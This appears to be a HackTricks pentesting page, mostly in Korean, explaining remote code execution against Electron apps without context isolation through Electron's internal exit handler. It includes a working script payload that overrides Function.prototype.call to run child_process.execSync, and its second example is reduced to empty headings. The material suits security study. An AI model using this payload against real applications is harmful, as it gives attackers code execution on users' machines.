Electron contextIsolation RCE via Electron internal code

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Example 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41의 예

"exit" 이벤트 리스너는 페이지 로딩이 시작될 때 항상 내부 코드에 의해 설정됩니다. 이 이벤트는 탐색 직전에 발생합니다:

process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

electron/asar.js at 664c184fcb98bb5b4b6b569553e7f7339d3ba4c5 · electron/electronGitHub

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- 더 이상 존재하지 않음

그런 다음 여기로 이동합니다:

여기서 "self"는 Node의 프로세스 객체입니다:

프로세스 객체는 "require" 함수에 대한 참조를 가지고 있습니다:

process.mainModule.require

handler.call이 process 객체를 받을 것이므로, 이를 덮어써서 임의의 코드를 실행할 수 있습니다:

<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

Example 2

프로토타입 오염에서 require 객체 가져오기. From https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

누출:

악용:

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.